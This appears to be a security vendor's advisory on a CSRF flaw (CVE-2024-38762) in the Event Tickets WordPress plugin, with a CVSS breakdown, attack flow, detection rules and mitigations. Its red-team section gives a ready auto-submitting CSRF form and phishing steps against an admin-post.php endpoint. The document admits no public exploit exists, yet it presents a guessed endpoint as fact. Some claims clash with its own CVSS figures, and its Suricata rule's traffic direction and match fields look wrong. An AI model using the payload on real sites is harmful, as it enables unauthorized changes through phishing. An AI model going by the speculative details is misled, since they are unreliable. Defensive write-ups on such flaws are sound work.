CVE-2024-38762

Executive Summary

CVE-2024-38762 is a Cross-Site Request Forgery (CSRF) vulnerability affecting the StellarWP Event Tickets WordPress plugin, versions n/a through 5.11.0.4. This vulnerability allows an attacker to perform unauthorized actions on behalf of an authenticated administrator, such as modifying plugin settings or creating fraudulent ticket orders, by tricking the victim into clicking a malicious link or visiting a crafted page. The vulnerability is classified as CWE-352 and has a CVSS score of 4.3 (Medium). No public proof-of-concept (PoC) or exploit code has been released, and the patch status remains unknown. The EPSS score is 0.0%, indicating a low probability of exploitation in the wild at this time.

Supply Chain & Package Security

This vulnerability affects a WordPress plugin distributed via the official WordPress plugin repository. Organizations using the Event Tickets plugin should verify their version and apply any available updates immediately. Since the patch status is unknown, users should monitor the plugin’s changelog and consider temporary mitigations such as disabling the plugin or implementing a Web Application Firewall (WAF) rule.

CVSS Breakdown & Threat Level

• Attack Vector (AV): Network (N) – The attack can be launched remotely.
• Attack Complexity (AC): Low (L) – No special conditions are required.
• Privileges Required (PR): None (N) – The attacker does not need prior authentication.
• User Interaction (UI): Required (R) – The victim must click a link or visit a page.
• Scope (S): Unchanged (U) – The vulnerability does not affect other components.
• Confidentiality Impact (C): None (N) – No data disclosure.
• Integrity Impact (I): Low (L) – Limited ability to modify data.
• Availability Impact (A): None (N) – No denial of service.

Threat Level: Medium. While the CVSS score is 4.3, the lack of public exploits and low EPSS score reduce immediate risk. However, the vulnerability could be chained with social engineering to perform unauthorized actions.

Deep Dive & Mechanics

The Event Tickets plugin by StellarWP is a popular WordPress plugin used for managing event ticketing, RSVPs, and attendee tracking. The CSRF vulnerability exists because the plugin fails to implement proper nonce validation or CSRF tokens on certain administrative actions, such as saving settings, creating tickets, or modifying event configurations.

Attack Flow:

1. An attacker crafts a malicious HTML page or email containing a forged request (e.g., a POST request to change plugin settings).
2. The attacker lures an authenticated WordPress administrator to visit the page.
3. The victim’s browser automatically sends the forged request, including the victim’s session cookies.
4. The plugin processes the request without verifying its origin, allowing the attacker to perform actions like disabling security features, modifying ticket prices, or creating unauthorized admin accounts.

Root Cause: The plugin does not implement WordPress’s built-in nonce (wp_nonce_field()) or CSRF token checks on critical endpoints.

Vulnerable vs. Patched Code

Since no official patch has been released, the following is a hypothetical comparison based on standard CSRF mitigation practices.

Vulnerable Code (Example):

function save_ticket_settings() {
    // No nonce verification
    update_option('ticket_price', $_POST['price']);
    update_option('ticket_capacity', $_POST['capacity']);
}

Patched Code (Expected):

function save_ticket_settings() {
    // Verify nonce
    if (!isset($_POST['_wpnonce']) || !wp_verify_nonce($_POST['_wpnonce'], 'ticket_settings_nonce')) {
        wp_die('CSRF validation failed.');
    }
    update_option('ticket_price', sanitize_text_field($_POST['price']));
    update_option('ticket_capacity', intval($_POST['capacity']));
}

Exploitation & Lab Setup

Red Team (Attack Simulation)

Prerequisites:

• A WordPress site running Event Tickets <= 5.11.0.4.
• An authenticated admin session (victim).

Step 1: Craft the CSRF Payload Create an HTML file (csrf.html) that automatically submits a form to the vulnerable endpoint:

<html>
<body>
<form action="http://target.com/wp-admin/admin-post.php?action=event_tickets_save" method="POST">
    <input type="hidden" name="ticket_price" value="0.01">
    <input type="hidden" name="ticket_capacity" value="9999">
    <input type="submit" value="Click me">
</form>
<script>document.forms[0].submit();</script>
</body>
</html>

Step 2: Host and Deliver

• Host the file on an attacker-controlled server.
• Send a phishing email to the admin with a link to the file.

Step 3: Execute

• When the admin visits the page, the form auto-submits, changing ticket prices and capacity.

Blue Team (Detection & Prevention)

Detection:

• Monitor for unexpected POST requests to /wp-admin/admin-post.php with parameters like action=event_tickets_save.
• Alert on multiple failed login attempts or unusual admin actions.

Prevention:

• Implement a Web Application Firewall (WAF) rule to block requests missing a valid nonce.
• Enforce the use of WordPress nonces on all admin forms.
• Educate users about phishing and CSRF risks.

Indicators of Compromise (IOCs)

• Network IOCs:
  • POST requests to /wp-admin/admin-post.php with action=event_tickets_save or similar.
  • Referer headers from unexpected domains.
• File IOCs:
  • Modified plugin files (e.g., event-tickets/src/...).
  • New admin users or changed plugin settings.
• Log IOCs:
  • Unusual admin activity in WordPress audit logs.
  • Multiple requests from the same IP to admin endpoints.

Detection Engineering

YARA Rule

rule CVE_2024_38762_CSRF {
    meta:
        description = "Detects CSRF exploitation attempts against Event Tickets plugin"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2024-38762"
    strings:
        $csrf_payload = "action=event_tickets_save" nocase
        $admin_post = "admin-post.php" nocase
    condition:
        $csrf_payload and $admin_post
}

Sigma Rule

title: CVE-2024-38762 CSRF Exploitation Attempt
id: 8a3f2c1e-5d7b-4a9f-8c6e-2b1d3f4a5c6d
status: experimental
description: Detects CSRF attempts against Event Tickets plugin
author: Valters IT
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-method: 'POST'
        c-uri|contains: '/wp-admin/admin-post.php'
        cs-uri-query|contains: 'action=event_tickets_save'
    condition: selection
falsepositives:
    - Legitimate admin actions
level: medium

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (
    msg:"CVE-2024-38762 CSRF Exploitation Attempt";
    flow:to_server,established;
    content:"POST";
    http_method;
    content:"/wp-admin/admin-post.php";
    http_uri;
    content:"action=event_tickets_save";
    http_client_body;
    classtype:attempted-admin;
    sid:1000001;
    rev:1;
)

Remediation & Mitigation

1. Immediate Actions:

   • Disable the Event Tickets plugin until a patch is available.
   • Implement a Web Application Firewall (WAF) rule to block requests missing a valid nonce.
   • Review and revoke any suspicious admin accounts.

2. Long-term Fix:

   • Apply the official patch from StellarWP once released.
   • Ensure all WordPress plugins use nonce verification for admin actions.
   • Conduct a security audit of the plugin’s codebase.

3. User Education:

   • Train administrators to recognize phishing attempts.
   • Encourage the use of browser extensions that block CSRF attacks.

Valters IT
Securing Digital Frontiers